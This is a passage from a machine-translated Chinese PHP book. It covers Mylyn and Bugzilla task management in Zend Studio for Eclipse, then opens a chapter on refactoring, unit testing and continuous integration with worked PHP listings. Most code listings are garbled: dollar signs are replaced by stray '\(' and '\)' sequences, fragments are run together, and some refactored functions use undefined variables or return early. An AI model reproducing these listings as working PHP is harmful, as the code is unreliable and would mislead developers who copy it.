这个上下文页面的另一个优点是,如果文件是关闭的(但仍然是 bug 上下文的一部分),您可以双击文件名,它将被打开进行编辑。这可以节省在大型项目文件列表中查找文件的时间。所有这些都是在打开或激活任务时完成的,所以这里唯一的问题是,在处理特定的任务或 bug 时,要确保记得打开和关闭任务的上下文记录功能。
除了任务列表视图中任务或 bug 的上下文显示之外,还有 PHP Explorer 视图的延续。一旦任务被激活,浏览器中列出的文件将被过滤到 bug 上下文中的文件。这是有利的,因为它再次将许多文件的大型项目的混乱减少到只有那些与手头的 bug 或任务相关的文件。这个特性可以通过 PHP Explorer 工具栏图标来切换打开或关闭,这个图标看起来像三个炮弹,带有“关注活动任务”的气泡帮助文本
Bugzilla 的另一个很棒的特性也可以在 Zend Studio for Eclipse 中维护,那就是管理与任务或 bug 相关的附件。如果您有附带的文档,如完整的 bug 报告、设计文档、测试计划或已发现 bug 的屏幕截图,这将非常方便。图 12-9 显示了一个 jpg 图像到一个任务的附件。
图 12-9。工作室显示的 Bug,附带一个文件
另一件要考虑的事情是,如果你的开发团队中的一些成员不使用 Zend Studio for Eclipse,那会怎样,这可能令人震惊。这将有效地结束在该 IDE 中使用 Mylyn 的巨大优势。值得庆幸的是,一旦通过存储库连接与 Bugzilla 服务器建立了连接(参见图 12-6 ),任务中记录的大部分数据将被转发到 bug 服务器,如果在 Bugzilla 中直接进行了任何更新,那么这些信息将定期下载到 Zend Studio for Eclipse。有一个持续的双向反馈,有助于保持一切同步。这种双向更新的时间可以在任务列表视图的首选项屏幕中控制,或者通过单击鼠标来触发(任务列表工具栏项目,看起来像一个上面有两个箭头的蓝色圆柱体)。要设置自动同步时间,只需通过单击视图任务栏上的视图菜单图标打开首选项控制窗口,您将看到首选项选项。如图图 12-10 所示。可以看到,这里有许多附加选项来控制任务列表视图。我不会在这里详细讨论它们,但是请注意,您可以跟踪每项任务所花费的时间,并且能够计算非活动时间段。
图 12-10。任务库更新的首选项窗口
在任务列表视图中,还可以按类别(按项目)顺序(这是默认设置)或按即将到来的截止日期查看 bug。这可以让你看到哪些任务需要立即关注,哪些可以等待一段时间。任务栏上有一个开关,允许你用“分类”和“预定”的标题来控制这个特性它是右边第二个工具栏项目。沿着这个任务栏你会看到更多的选项,允许你控制它的信息。从右边数第三个,有一条线穿过勾号图标,是另一个开关;这个工具可以让你过滤掉所有已经完成的任务,这样就可以让你的视野更加清晰。接下来是折叠/展开按钮,允许您管理所有任务的列表显示。下一个(看起来像三个炮弹)是另一个开关,但这个允许你过滤本周的所有任务,再次帮助你管理被太多工作淹没的可能性。最后,在这个工具栏上是“查看”菜单(已经提到用于查看首选项),您可能已经注意到在这个弹出菜单上有许多其他选项。这里值得一提的最后一个是标题为“显示 UI 图例”的。点击此菜单项,您将看到如图图 12-11 所示的项目列表。简而言之,这是您将在任务列表视图中看到的所有图标的备忘单,简要解释了每个图标的含义。
图 12-11。【Zend Studio for Eclipse 中的 Mylyn 图标图例
外推利益
既然您已经看到了 Mylyn 和 Bugzilla 集成特性的许多好处,我想向您展示一些可以在 Zend Studio for Eclipse 的其他领域获得的推断性好处。这些是与其他集成有一些重叠的特性,因此对您和您的敏捷开发团队是有益的。
第一次外推可以在任务窗口的上下文区域中看到。在这里,如果您与 Subversion (SVN)或 CVS 之类的代码存储库进行了集成(现在谁不这样做呢),您可以在有问题的 bug 的过滤视图(上下文)中看到并管理整个存储库的交互。市场上还有其他类似的软件库工具,如 Git 和 Mercurial,但我们关注 SVN 是因为它在 Zend Studio 中的集成点。如图 12-12 中的所示,我打开了一个上下文窗口,显示了一个已经被修改并保存在本地的文件,在文件名DemoDebug.php
旁边有一个>标记。正如您所看到的,这是一种更清晰的方式来查看您的任务和项目中的哪些文件需要提交到存储库中。请记住,只有当您在 Mylyn 中“激活”了 bug 时,才能管理这种文件跟踪。
图 12-12。【Zend Studio 中一个 bug 的上下文窗口
当您在代码评审期间查看代码变更时,可以看到下一个有益的推断。在这里,您可以从 bug 的上下文中访问短列表;右键单击项目(或单个文件)将允许您将您的工作与代码库中最新版本(修订号)的工作进行比较。如果愿意,您还可以在存储库中追溯到以前的承诺(修订号)。图 12-13 显示了在整个项目中比较承诺历史的可能性。如果您愿意,这种类型的代码更改审查也可以在您保存文件的本地历史上执行。当然,选择使用哪一个(存储库或本地历史)取决于您,但也可能取决于您将工作提交到存储库的频率。
图 12-13。本地文件与 SVN 存储库文件的历史比较。
在图 12-13 中,你可以在顶部看到 SVN 版本号列表,后面是这些版本提交的详细时间。屏幕下方的下一部分显示了在所选修订号的活动期间发生了更改的文件,这是最后一次执行提交(这不同于我们当前在本地进行的工作,还没有提交到存储库中)。屏幕下方的下一个部分实际上显示了我们正在为这个特定任务工作并且尚未提交的已更改文件,下面的部分显示了已经进行的实际逐行代码更改,以及它们与存储库中文件的当前状态相比如何。
总结
现在,我已经向您介绍了这一奇妙的工具集合,以及如何从 Zend Studio for Eclipse 中管理和控制它(主要是),您应该有足够的信息来开始使用这些工具,从而为您的开发工作带来巨大的好处。如果我没有最终发现这种编程方法,我无法想象今天我管理任务和项目的能力会达到什么程度。当然,我花了几年时间来实现这种工具组合,首先将 Zend Studio for Eclipse 和 SVN 结合使用,然后将 Bugzilla 添加到组合中,最后发现 Zend Studio for Eclipse 和 Mylyn 之间的集成。但是,您可以立即开始使用这种完全集成的产品,节省了我花在探索上的时间。
如果您现在才发现极限编程(XP)、代码集会、早期/经常发布等敏捷开发的巨大优势,那么您也应该看到这种工具的聚合如何帮助您变得更加敏捷。
您可能已经注意到,我并没有涵盖这些工具的每个方面以及它们各自的工具栏按钮,因为在本章的范围内涵盖会变得非常乏味,而且通过自己发现某些细微差别并获得经验也可以获得相当高的成就。获得一点“发现了!”当你协同使用这些工具的时候,你自己的时刻确实非常令人满意。然而,我不想让你没有一些资源,你可以用这些工具进一步学习和扩展你的知识。它们是:
- Zend Studio for Eclipse 主页:
[www.zend.com/en/products/studio/](http://www.zend.com/en/products/studio/)
- Bugzilla 主页:
[www.bugzilla.org/](http://www.bugzilla.org/)
- Mylyn 月食页面:
[www.eclipse.org/mylyn/](http://www.eclipse.org/mylyn/)
- Mylyn 主页:
[
tasktop.com/mylyn/](http://tasktop.com/mylyn/)
- 视频:Mik Kersten 博士的 W-JAX 2008 主题演讲:重新定义 IDE 的“我”:
[
tasktop.com/videos/w-jax/kersten-keynote.html](http://tasktop.com/videos/w-jax/kersten-keynote.html)
十三、重构、单元测试和持续集成
作为开发人员,我们的目标是实现稳定、高质量的代码库。这减少了花费在调试上的时间,并且方便了频繁的发布。在这一章中,我们将研究三种技术来提高我们代码的可靠性,并使其更容易和更安全地修改。这些技术是重构、单元测试和持续集成。
重构是一种修改代码结构的方式,目的是提高其质量。当我们重构时,我们并不试图添加或修改功能。重构是编程中必要且自然的一部分。尽管我们最大的意图是在重构时不修改功能,但重要的是要意识到无意中这样做是很容易的。以这种方式引入的 bug 很难被发现,它们会潜伏很长一段时间,直到有人注意到它们。
单元测试有助于确保由重构引入的非预期效果立即被注意到。当一个单元测试失败时,我们检查失败的原因。如果我们预料到失败是因为我们有意地调整了功能,那么我们简单地调整测试直到它通过。然而,如果失败是意外的,那么我们需要修复代码中新引入的 bug。
持续集成(CI)在整个项目中执行质量保证(QA)。团队成员每天(甚至更频繁地)将代码变更集成到项目的源代码控制库中。CI 服务器轮询存储库中的更改,在检测到代码更改后,以固定的时间间隔或按需执行自动“构建”。构建执行诸如运行单元测试和静态分析之类的任务。持续集成的频繁、自动的本质会迅速提醒我们代码中的变化已经“破坏了构建”中断构建指的是在团队成员提交了他们的代码后,自动化步骤不再正确运行。在 PHP 这样的非编译语言中,这通常是指一个或多个单元测试失败。CI 的使用让我们对我们的代码库更有信心,这反过来允许更频繁、更稳定的发布。CI 还允许我们运行构建脚本,它可以为我们执行一系列的命令和任务,否则可能会重复、枯燥、耗时和/或容易出错。
重构
以下是重构的示例:
- 通过创建一个我们可以调用的新函数来消除重复代码。
- 用简化的语句或描述性函数名替换复杂的逻辑表达式,以提高代码可读性。
- 从一个大类中提取方法,并将它们移动到一个新的或更合适的类中。
- 减少多层控制结构(
if/else
、for
、foreach
、while
、switch
)嵌套。 - 面向对象的设计变更,如扩展基类或使用设计模式,如 builder 或 singleton。
有很多不同的重构方法可以实现。Martin Fowler 是这一编程领域的先驱,他对几种“代码气味”进行了分类,并给出了解决方法。关于重构的好书包括以下内容:
- 《重构:改进现有代码的设计》作者:马丁·福勒、肯特·贝克、约翰·布兰特、威廉·奥普戴克和约翰·罗伯茨(艾迪森-韦斯利,1999 年)
- Francesco Trucchia 和 Jacopo Romei(2010 年出版)的《PHP 重构》
代码中的重复是我们应该重构它的必然信号。将代码的逻辑部分封装到函数中是一个基本的编程原则。如果我们将代码剪切/复制到多个地方,那么我们就绕过了这个原则,大大增加了以后引入 bug 的可能性。
例如,假设我们将一段代码复制到五个不同的地方。随着时间的推移,当我们试图修改块的功能时,我们不太可能记得更新所有五个地方的代码。如果我们将代码块提取为一个函数,我们只需要在一个地方修改它。如果我们在代码中添加测试,我们也只需要测试一个功能单元,而不是五个。
重构的隐患是在我们的代码中引入了意想不到的行为变化。这些行为变化经常发生在我们目前还没有使用的代码区域,并且很难被发现。这就是重构和单元测试携手并进的原因。
重构时,代码的总长度可能会增加,但这没关系。重构的目的不是减少我们代码的大小。许多添加的行都是以空白的形式,这使得我们的代码更容易阅读。
小的重构
清单 13-1 中显示了一个可以使用重构的代码示例。
清单 13-1。代码决定我们是否应该去散步
<?php define('OWN_A_DOG', true); define('TIRED', false); define('HAVE_NOT_WALKED_FOR_DAYS', false); define('NICE_OUTSIDE', false);
`define('BORED', true);
if ( (OWN_A_DOG && (!TIRED || HAVE_NOT_WALKED_FOR_DAYS)) || (NICE_OUTSIDE && !TIRED) || BORED )
{
goForAWalk();
}
function goForAWalk() {
echo "Going for a walk";
}
?>`
我们的第一次重构(清单 13-2 )将配置选项提取到一个外部文件中(清单 13-3 )。
清单 13-2。一个小的重构来包含我们的配置文件(清单 13-3 )
`<?php
require_once('walkConfig.php');
if ( (OWN_A_DOG && (!TIRED || HAVE_NOT_WALKED_FOR_DAYS)) || (NICE_OUTSIDE && !TIRED) || BORED )
{
goForAWalk();
}
function goForAWalk() {
echo "Going for a walk";
}
?>`
清单 13-3。我们的配置文件,walkConfig.php
<?php define('OWN_A_DOG', true); define('TIRED', false); define('HAVE_NOT_WALKED_FOR_DAYS', false); define('NICE_OUTSIDE', false); define('BORED', true); ?>
长逻辑表达式,如清单 13-1 中的一个,可以提取到一个函数中以增加可读性,如清单 13-4 中的所示。
清单 13-4。通过将逻辑表达式放入单独的函数中来提高可读性
<?php require_once('walkConfig.php');
`if (shouldWalk()) {
goForAWalk();
}
function shouldWalk() {
return ( (OWN_A_DOG && (!TIRED || HAVE_NOT_WALKED_FOR_DAYS)) ||
(NICE_OUTSIDE && !TIRED) ||
BORED);
}
function goForAWalk() {
echo "Going for a walk";
}
?>`
乍一看,我们似乎只是在逻辑的位置上进行洗牌。这是真的。然而,由于这种变化,主程序流程更容易理解。此外,如果逻辑在我们的程序中重复,我们现在可以重用该函数。此外,我们可以通过继续拆分逻辑来使我们的新函数更具可读性,如清单 13-5 所示。
清单 13-5。将一个逻辑函数分成两个附加的更小的函数
`<?php
require_once('walkConfig.php');
if (shouldWalk()) {
goForAWalk();
}
function shouldWalk() {
return ( timeToWalkTheDog() || feelLikeWalking() );
}
function timeToWalkTheDog() {
return (OWN_A_DOG && (!TIRED || HAVE_NOT_WALKED_FOR_DAYS));
}
function feelLikeWalking() {
return ((NICE_OUTSIDE && !TIRED) || BORED);
}
function goForAWalk() {
echo "Going for a walk";
}
?>`
清单 13-1 和清单 13-5 具有相同的功能。然而,清单 13-5 更容易阅读、重用和测试。
我们的下一个例子(清单 13-6 )重构起来稍微复杂一点,并且向我们提取的函数引入了参数,如清单 13-7 所示。
列表 13-6。带重复的 PHP 脚本
`<?php
\(total = 0;
\)value = rand(1, 10);
if (\(value > 5) {
\)multiple = 2;
$total = \(value;
\)total *= \(multiple;
\)total += (10 - $value);
print "goodbye
";
print "initial value is $value
";
print "the total is \(total<br/>";
} else {
\)multiple = 7;
$total = \(value;
\)total *= \(multiple;
\)total += (10 - $value);
print "hello!
";
print "initial value is $value
";
print "the total is $total
";
}
?>`
清单 13-7。清单 13-6 中的 PHP 脚本被重构以消除重复
`<?php
\(total = 0;
\)value = rand(1, 10);
if (\(value > 5) {
\)total = changeTotalValue($value, 2);
displayMessage("goodbye", $value, \(total);
} else {
\)total = changeTotalValue($value, 7);
displayMessage("goodbye", $value, $total);
}
function changeTotalValue($value, \(multiple){
\)total = $value * \(multiple;
\)total += (10 - $value);
return $total;
}
function displayMessage($greeting, \(value,\)total){
print "$greeting
";
print "initial value is $value
";
print "the total is $total
";
}
?>`
当从清单 13-6 中的代码转到清单 13-7 中的代码时,您可能会问自己,“我们怎么知道我们没有引入任何不希望的副作用?”简而言之,没有测试,我们无法确定。
一个更大的遗留代码示例
考虑清单 13-8 中的大脚本,我们将重构它,使它更容易理解。在脚本中,给定一个源和目的地位置,计算出我们的最佳旅行模式,并显示旅行的总时间。例如,我们假设了简单的条件。这包括始终能够以直线路径到达目的地,并且汽车永远不会耗尽汽油。
清单 13-8。我们最初遗留的代码脚本,travel_original.php
`<?php
error_reporting ( E_ALL );
//constants
define ( 'WALK_STEP', 0.25 ); //quarter meter steps
define ( 'BIKE_STEP', 3.00 ); //three meter steps
define ( 'BUS_STEP', 30.00 ); //bus steps
define ( 'BUS_DELAY', 300 ); //five minutes to wait for bus
define ( 'CAR_STEP', 50.00 ); //car steps
define ( 'CAR_DELAY', 20 ); //twenty seconds to get car up to speed
define ( 'HAS_CAR', true );
define ( 'HAS_MONEY', true );
define ( 'IN_A_RUSH', true );
define ( 'ON_BUS_ROUTE', true );
define ( 'HAS_BIKE', false );
define ( 'STORMY_WEATHER', false );
define ( 'WALKING_MAX_DISTANCE', 2500 );
class Location {
public $x = 0;
public $y = 0;
public function __construct($x, \(y) {
\)this->x = \(x;
\)this->y = $y;
}
public function toString() {
return "(" . round ( $this->x, 2 ) . ", " . round ( $this->y, 2 ) . ")";
}
}
function travel(Location $src, Location \(dest) {
//calculate the direction vector
\)distance_y = $dest->y - \(src->y;
\)distance_x = $dest->x - \(src->x;
\)angle = null;
if (\(distance_x) {
if (\)distance_y) {
\(angle = atan(\)distance_y / \(distance_x);
} else {
if (\)distance_x > 0) {
\(angle = 0.0; //right
} else {
\)angle = 180.0; //left
}
}
} else {
if (\(distance_y) {
if (\)distance_y < 0) {
\(angle = - 90.0; //down
} else {
\)angle = 90.0; //up
}
}
}
$angle_in_radians = deg2rad ( $angle );
\(distance = 0.0;
//calculate the straight line distance
if (\)dest->y == \(src->y) {
\)distance = $dest->x - \(src->x;
} else if (\)dest->x == \(src->x) {
\)distance = $dest->y - \(src->y;
} else {
\)distance = sqrt ( ($distance_x * \(distance_x) +
(\)distance_y * $distance_y) );
}
print "Trying to go from " . $src->toString () .
" to " . $dest->toString () . "
\n";
if (IN_A_RUSH) {
print "In a rush
\n";
}
print "Distance is " . \(distance . " in the direction of " .
\)angle . " degrees
";
$time = 0.0;
\(has_options = false;
if (HAS_CAR || (HAS_MONEY && ON_BUS_ROUTE) || HAS_BIKE) {
\)has_options = true;
}
if ($has_options) {
if (STORMY_WEATHER) {
if (HAS_CAR) {
//drive
while ( abs ( $src->x - $dest->x ) > CAR_STEP ||
abs ( $src->y - \(dest->y ) > CAR_STEP ) {
\)src->x += (CAR_STEP * cos ( \(angle_in_radians ));
\)src->y += (CAR_STEP * sin ( $angle_in_radians ));
++ $time;
print "driving a car... currently at (" .
round ( $src->x, 2 ) . ", " .
round ( $src->y, 2 ) . ")
\n";
}
print "Got to destination by driving a car
";
} else if (HAS_MONEY && ON_BUS_ROUTE) {
//take the bus
while ( abs ( $src->x - $dest->x ) > BUS_STEP ||
abs ( $src->y - \(dest->y ) > BUS_STEP ) {
\)src->x += (BUS_STEP * cos ( \(angle_in_radians ));
\)src->y += (BUS_STEP * sin ( $angle_in_radians ));
++ $time;
print "on the bus... currently at (" .
round ( $src->x, 2 ) . ", " .
round ( $src->y, 2 ) . ")
\n";
}
print "Got to destination by riding the bus
";
} else {
//ride bike
while ( abs ( $src->x - $dest->x ) > BIKE_STEP ||
abs ( $src->y - \(dest->y ) > BIKE_STEP ) {
\)src->x += (BIKE_STEP * cos ( \(angle_in_radians ));
\)src->y += (BIKE_STEP * sin ( $angle_in_radians ));
++ $time;
print "biking... currently at (" .
round ( $src->x, 2 ) . ", " .
round ( \(src->y, 2 ) . ")<br/>\n";
}
print "Got to destination by biking<br/>";
}
} else {
if (\)distance < WALKING_MAX_DISTANCE && ! IN_A_RUSH) { //walk
while ( abs ( $src->x - $dest->x ) > WALK_STEP ||
abs ( $src->y - \(dest->y ) > WALK_STEP ) {
\)src->x += (WALK_STEP * cos ( \(angle_in_radians ));` ` \)src->y += (WALK_STEP * sin ( $angle_in_radians ));
++ $time;
print "walking... currently at (" .
round ( $src->x, 2 ) . ", " .
round ( \(src->y, 2 ) . ")<br/>\n";
}
print "Got to destination by walking<br/>";
} else {
if (HAS_CAR) {
//drive
\)time += CAR_DELAY;
while ( abs ( $src->x - $dest->x ) > CAR_STEP ||
abs ( $src->y - \(dest->y ) > CAR_STEP ) {
\)src->x += (CAR_STEP *
cos ( \(angle_in_radians ));
\)src->y += (CAR_STEP *
sin ( $angle_in_radians ));
++ $time;
print "driving a car... currently at (" .
round ( $src->x, 2 ) . ", " .
round ( \(src->y, 2 ) . ")<br/>\n";
}
print "Got to destination by driving a car<br/>";
} else if (HAS_MONEY && ON_BUS_ROUTE) {
//take the bus
\)time += BUS_DELAY;
while ( abs ( $src->x - $dest->x ) > BUS_STEP ||
abs ( $src->y - \(dest->y ) > BUS_STEP ) {
\)src->x += (BUS_STEP *
cos ( \(angle_in_radians ));
\)src->y += (BUS_STEP *
sin ( $angle_in_radians ));
++ $time;
print "on the bus... currently at (" .
round ( $src->x, 2 ) . ", " .
round ( $src->y, 2 ) . ")
\n";
}
print "Got to destination by riding the bus
";
} else {
//ride bike
while ( abs ( $src->x - $dest->x ) > BIKE_STEP ||
abs ( $src->y - \(dest->y ) > BIKE_STEP ) {
\)src->x += (BIKE_STEP *
cos ( \(angle_in_radians ));
\)src->y += (BIKE_STEP *
sin ( $angle_in_radians ));
++ $time;
print "biking... currently at (" .
round ( $src->x, 2 ) . ", " .
round ( \(src->y, 2 ) . ")<br/>\n";
}
print "Got to destination by biking<br/>";
}
}
}
} else {
if (STORMY_WEATHER) {
print "ERROR: Storming<br/>";
} else if (\)distance < WALKING_MAX_DISTANCE) {
//walk
while ( abs ( $src->x - $dest->x ) > WALK_STEP ||
abs ( $src->y - \(dest->y ) > WALK_STEP ) {
\)src->x += (WALK_STEP * cos ( \(angle_in_radians ));
\)src->y += (WALK_STEP * sin ( $angle_in_radians ));
++ $time;
print "walking... currently at (" .
round ( $src->x, 2 ) . ", " .
round ( $src->y, 2 ) . ")
\n";
}
print "Got to destination by walking
";
} else {
print "ERROR: Too far to walk
";
}
}
print "Total time was: " . date ( "i:s", $time );
}
//sample usage
//travel ( new Location ( 1, 3 ), new Location ( 4, 10 ) );
?>`
在初始状态,清单 13-8 中的代码是一个单一的、非常大的函数,做了太多的工作。我们完全没有测试。如果我们的代码依赖于这个脚本的准确性,我们就不能确定它是否可信。此外,如果我们需要添加功能,我们将需要谨慎行事,以限制引入副作用的可能性。这段代码并不是遗留代码的典型,但它可能更糟——在这个例子中,我们不需要处理任何全局变量。
travel
函数嵌套层次过多。试图像现在这样增加测试是非常困难的。它也承担了太多的责任。它会计算到某条路线的距离,确定旅行模式,并为您指引方向。这个函数充满了行内注释,如果我们把它分解成名字更有意义的小函数,就没有必要了。我们还可以看到有很多重复的代码。
我们可以运行一些对travel
函数的示例调用,以直观地感受该函数是否工作,但这一点也不严谨。我们需要的是重构我们的代码并实现单元测试。
当我们重构代码时,我们需要问自己一些基本的问题,例如:
- 有什么可以很容易修改的?(无依赖性)
- 有重复吗?(是否应该创建一个函数?)
- 我们能简化代码或者让它更容易理解吗?(可读性)
- 我们是否让代码足够简单,以便我们可以添加测试?
重构并不只有一种方式。对于不同的程序员(甚至在不同的时间对于同一个程序员)来说,next 的改进可能会有所不同。通过练习,下一步该怎么做变得更加明显和容易察觉。重构时何时添加测试也是一门艺术。理想情况下,我们希望在做出改变的任何时候添加新的测试。实际上,这并不总是可行的。
相反,我们将一次展示一些重构的结果。
要查看一步一步的过程,请从本书的页面[www.apress.com](http://www.apress.com)
下载源代码。
作为第一组重构,我们将删除脚本顶部的define
语句,并将它们放入一个新文件config.php
( 清单 13-9 )。这有促进代码重用的额外好处。如果我们需要不同脚本中的定义,我们可以包含配置文件。
我们还将把Location
类移动到它自己的文件location.php
( 清单 13-10 )。我们将把travel
函数的名字改为execute
,并将其封装在一个名为Travel
的类中(清单 13-12 )。接下来,我们将提取位于execute
函数顶部的代码块,该代码块显示了我们要去的地方,并将它放入一个新的助手类 TravelView 中(清单 13-11 )。最后,我们将提取 travel 函数顶部附近的代码块,该代码块决定我们是否有车辆选项。我们还没有测试过,但是稍微更有组织的主类现在看起来像清单 13-12 中的。
清单 13-9。我们的设置文件,config.php
<?php define ( 'WALK_STEP', 0.25 ); //quarter meter steps define ( 'BIKE_STEP', 3.00 ); //three meter steps define ( 'BUS_STEP', 30.00 ); //bus steps define ( 'BUS_DELAY', 300 ); //five minutes to wait for bus define ( 'CAR_STEP', 50.00 ); //car steps define ( 'CAR_DELAY', 20 ); //twenty seconds to get car up to speed define ( 'HAS_CAR', true ); define ( 'HAS_MONEY', true ); define ( 'IN_A_RUSH', true ); define ( 'ON_BUS_ROUTE', true ); define ( 'HAS_BIKE', false ); define ( 'STORMY_WEATHER', false ); define ( 'WALKING_MAX_DISTANCE', 2500 ); ?>
清单 13-10。的Location
类,location.php
类。
`<?php
class Location {
public $x = 0;
public $y = 0;
public function __construct($x, \(y) {
\)this->x = \(x;
\)this->y = \(y;
}` ` public function toString() {
return "(" . round(\)this->x, 2) . ", " . round($this->y, 2) . ")";
}
}
?>`
清单 13-11。我们的View
班,travelView.php
。
`<?php
error_reporting(E_ALL);
require_once ('config.php');
require_once ('location.php');
class TravelView {
public static function displayOurIntendedPath( $angle, $distance,
Location $src, Location $dest) {
print "Trying to go from " . \(src->toString() . " to " .
\)dest->toString() . "
\n";
if (IN_A_RUSH) {
print "In a rush
\n";
}
print "Distance is " . \(distance . " in the direction of " .
\)angle . " degrees
";
}
}
?>`
清单 13-12。第一轮重构后的travel_original.php
文件
`<?php.
error_reporting(E_ALL);
require_once ('config.php');
require_once ('location.php');
require_once ('travelView.php');
class Travel{
public function execute(Location $src, Location \(dest) {
//calculate the direction vector
\)distance_y = $dest->y - \(src->y;
\)distance_x = $dest->x - \(src->x;
\)angle = null;
\(time = 0.0;` `if (\)distance_x) {
if (\(distance_y) {
\)angle = atan($distance_y / \(distance_x);
} else {
if (\)distance_x > 0) {
\(angle = 0.0; //right
} else {
\)angle = 180.0; //left
}
}
} else {
if (\(distance_y) {
if (\)distance_y < 0) {
\(angle = - 90.0; //down
} else {
\)angle = 90.0; //up
}
}
}
return \(angle;
\)angle_in_radians = deg2rad ( $angle );
\(distance = 0.0;
//calculate the straight line distance
if (\)dest->y == \(src->y) {
\)distance = $dest->x - \(src->x;
} else if (\)dest->x == \(src->x) {
\)distance = $dest->y - \(src->y;
} else {
\)distance = sqrt ( ($distance_x * \(distance_x) +
(\)distance_y * $distance_y) );
}
** TravelView::displayOurIntendedPath($angle, $distance, $src, $dest);**
** $has_options = $this->doWeHaveOptions(); **
if ($has_options) {
if (STORMY_WEATHER) {
if (HAS_CAR) {
//drive
while ( abs ( $src->x - $dest->x ) > CAR_STEP ||
abs ( $src->y - \(dest->y ) > CAR_STEP ) {
\)src->x += (CAR_STEP * cos ( \(angle_in_radians ));
\)src->y += (CAR_STEP * sin ( $angle_in_radians ));
++ $time;
print "driving a car... currently at (" .
round ( $src->x, 2 ) . ", " .
round ( $src->y, 2 ) . ")
\n";
}
print "Got to destination by driving a car
";
} else if (HAS_MONEY && ON_BUS_ROUTE) {
//take the bus
while ( abs ( $src->x - $dest->x ) > BUS_STEP ||
abs ( $src->y - \(dest->y ) > BUS_STEP ) {
\)src->x += (BUS_STEP * cos ( \(angle_in_radians ));
\)src->y += (BUS_STEP * sin ( $angle_in_radians ));
++ $time;
print "on the bus... currently at (" .
round ( $src->x, 2 ) . ", " .
round ( $src->y, 2 ) . ")
\n";
}
print "Got to destination by riding the bus
";
} else {
//ride bike
while ( abs ( $src->x - $dest->x ) > BIKE_STEP ||
abs ( $src->y - \(dest->y ) > BIKE_STEP ) {
\)src->x += (BIKE_STEP * cos ( \(angle_in_radians ));
\)src->y += (BIKE_STEP * sin ( $angle_in_radians ));
++ $time;
print "biking... currently at (" .
round ( $src->x, 2 ) . ", " .
round ( \(src->y, 2 ) . ")<br/>\n";
}
print "Got to destination by biking<br/>";
}
} else {
if (\)distance < WALKING_MAX_DISTANCE && ! IN_A_RUSH) { //walk
while ( abs ( $src->x - $dest->x ) > WALK_STEP ||
abs ( $src->y - \(dest->y ) > WALK_STEP ) {
\)src->x += (WALK_STEP * cos ( \(angle_in_radians ));
\)src->y += (WALK_STEP * sin ( $angle_in_radians ));
++ $time;
print "walking... currently at (" .
round ( $src->x, 2 ) . ", " .
round ( \(src->y, 2 ) . ")<br/>\n";
}
print "Got to destination by walking<br/>";
} else {
if (HAS_CAR) {
//drive
\)time += CAR_DELAY;
while ( abs ( $src->x - $dest->x ) > CAR_STEP ||
abs ( $src->y - \(dest->y ) > CAR_STEP ) {
\)src->x += (CAR_STEP *
cos ( \(angle_in_radians ));
\)src->y += (CAR_STEP *
sin ( $angle_in_radians ));
++ $time;
print "driving a car... currently at (" .
round ( $src->x, 2 ) . ", " .
round ( \(src->y, 2 ) . ")<br/>\n";
}
print "Got to destination by driving a car<br/>";` `} else if (HAS_MONEY && ON_BUS_ROUTE) {
//take the bus
\)time += BUS_DELAY;
while ( abs ( $src->x - $dest->x ) > BUS_STEP ||
abs ( $src->y - \(dest->y ) > BUS_STEP ) {
\)src->x += (BUS_STEP *
cos ( \(angle_in_radians ));
\)src->y += (BUS_STEP *
sin ( $angle_in_radians ));
++ $time;
print "on the bus... currently at (" .
round ( $src->x, 2 ) . ", " .
round ( $src->y, 2 ) . ")
\n";
}
print "Got to destination by riding the bus
";
} else {
//ride bike
while ( abs ( $src->x - $dest->x ) > BIKE_STEP ||
abs ( $src->y - \(dest->y ) > BIKE_STEP ) {
\)src->x += (BIKE_STEP *
cos ( \(angle_in_radians ));
\)src->y += (BIKE_STEP *
sin ( $angle_in_radians ));
++ $time;
print "biking... currently at (" .
round ( $src->x, 2 ) . ", " .
round ( \(src->y, 2 ) . ")<br/>\n";
}
print "Got to destination by biking<br/>";
}
}
}
} else {
if (STORMY_WEATHER) {
print "ERROR: Storming<br/>";
} else if (\)distance < WALKING_MAX_DISTANCE) {
//walk
while ( abs ( $src->x - $dest->x ) > WALK_STEP ||
abs ( $src->y - \(dest->y ) > WALK_STEP ) {
\)src->x += (WALK_STEP * cos ( \(angle_in_radians ));
\)src->y += (WALK_STEP * sin ( $angle_in_radians ));
++ $time;
print "walking... currently at (" .
round ( $src->x, 2 ) . ", " .
round ( $src->y, 2 ) . ")
\n";
}
print "Got to destination by walking
";
} else {
print "ERROR: Too far to walk
";
}
}
print "Total time was: " . date ( "i:s", $time );
}
private function doWeHaveOptions(){
\(has_options = false;
if (HAS_CAR || (HAS_MONEY && ON_BUS_ROUTE) || HAS_BIKE) {
\)has_options = true;
}
return $has_options;
}
}
?>`
我们将再做一组重构,然后添加一些测试。我们将把乘坐公共汽车、驾驶汽车、步行或骑自行车的代码提取到逻辑函数中。我们还将一些数学计算提取到一个单独的类中,travelMath.php
( 清单 13-13 )。在我们重构之前,注意乘坐公共汽车的实现与上面的不一致(清单 13-12 )。一个实例设置了一个BUS_DELAY
时间,而另一个没有。作为一个试图处理这些遗留代码的程序员,我们不得不问,“我们应该总是包括延迟吗,我们应该永远不包括延迟吗,我们应该有时包括延迟吗?这是有意的差异还是一个错误?”这很可能是一个意外的疏忽。如果我们不剪切/复制重复的代码,而是使用函数,这些类型的普遍情况是可以避免的。
清单 13-13。Calculation
班,travelMath.php
`<?php
error_reporting ( E_ALL );
require_once ('location.php');
class TravelMath {
public static function calculateDistance() {
\(distance = 0.0;
//calculate the straight line distance
if (\)dest->y == \(src->y) {
\)distance = $dest->x - \(src->x;
} else if (\)dest->x == \(src->x) {
\)distance = $dest->y - \(src->y;
} else {
\)distance_y = $dest->y - \(src->y;
\)distance_x = $dest->x - \(src->x;
\)distance = sqrt ( ($distance_x * \(distance_x) +
(\)distance_y * $distance_y) );
}
return $distance;
}
public static function calculateAngleInDegrees() {
//calculate the direction vector
$distance_y = $dest->y - \(src->y;
\)distance_x = $dest->x - \(src->x;
\)angle = null;
if (\(distance_x) {
if (\)distance_y) {
\(angle = atan(\)distance_y / \(distance_x);
} else {
if (\)distance_x > 0) {
\(angle = 0.0; //right
} else {
\)angle = 180.0; //left
}
}
} else {
if (\(distance_y) {
if (\)distance_y < 0) {
\(angle = - 90.0; //down
} else {
\)angle = 90.0; //up
}
}
}
return $angle;
}
public static function isCloseToDest($src, $dest, $step){
return (abs ( $src->x - $dest->x ) < $step ||
abs ( $src->y - $dest->y ) < $step );
}
}
?>`
清单 13-14。第二轮重构后的Travel
类
`<?php
error_reporting(E_ALL);
require_once('config.php');
require_once('location.php');
require_once('travelMath.php');
require_once('travelView.php');
class Travel
{
private $src = null;
private $dest = null;
private $time = 0.0;
